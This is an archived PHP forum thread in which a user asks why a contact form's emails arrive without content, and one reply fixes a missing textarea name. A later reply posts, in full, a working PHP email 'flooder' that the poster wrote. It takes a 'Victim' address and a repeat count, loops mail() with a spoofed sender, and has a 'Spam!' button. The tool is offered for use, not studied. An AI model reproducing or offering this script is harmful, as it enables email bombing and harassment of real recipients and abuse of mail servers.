Jump to content

[SOLVED] no content shows up in email...please help!


seeya1

Recommended Posts

I can recieve emails, but i only get...

 

From:

Email:

Message:

 

there is no content that shows up...here is the code:

 

PHP:

 

<?php

if(isset($_POST['submit'])) {

$to = "[email protected]";

$subject = "Contact Form";

$name_field = $_POST["Name"];

$email_field = $_POST["E-mail"];

$message = $_POST["Message"];

 

$body = "From:$name_field\r\n E-Mail:$email_field\r\n Message:$message\r\n";

 

echo "Data has been submitted to $to!";

mail($to, $subject, $body);

} else {

echo "Error, please try again!";

}

?>

 

HTML:

<h3>Contact Form</h3>

                                  <form action="mailer.php" method="POST" id="form1">

                                    <div class="form1">

                                      <label>Name:</label>

                                      <input type="text" />

                                    </div>

                                    <div class="form1">

                                      <label>E-mail:</label>

                                      <input type="text" />

                                    </div>

                                    <div class="form2">

                                      <label>Message:</label>

                                      <textarea cols="1" rows="1"></textarea>

                                    </div>

                                    <p class="alignright"><input type="reset" value="Reset" name="reset"></a>     <input type="submit" value="Submit" name="submit"></p>

                                  </form>

 

change

<textarea cols="1" rows="1"></textarea>

to

<textarea name="Message" cols="1" rows="1"></textarea>

 

awesome! that fixed 1 of 3 problems, i can now see the message, but not the from or email, can you help with that as well please? thanks!

Here's a flooder I wrote, you can look at the mail setup and ignore the loops.

 

<?
//Disable error reporting
error_reporting(E_ALL & ~E_NOTICE);

//Information to send
$vic = $_POST['vic'];
$subject = $_POST['subject'];
$msg = $_POST['msg'];
$headers = "From: /b/@anonymous.com";
$flood = $_POST['flood'];
$loop = 1;

//If information filled out spam!
if(isset($vic)) {
//Creates loop to keep mailing
while($loop <= $flood) {
mail($vic, $subject, $msg, $headers); //Mails the information
echo "Flooded ".$loop."x<br>"; //Displays how many emails sent
$loop++; //loops
}
}
else { //If info isn't filled out take them to fill out form!
?>
<form method="post">
Victim:<br />
<input type="text" name="vic"><br /><br />
Subject:<br />
<input type="text" name="subject"><br /><br />
How many Times to flood:<br />
<input type="text" name="flood"><br /><br />
Message:<br />
<input type="text" name="msg"><br />
<br />
<input type="submit" value="Spam!">
</form>
<? } ?>

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.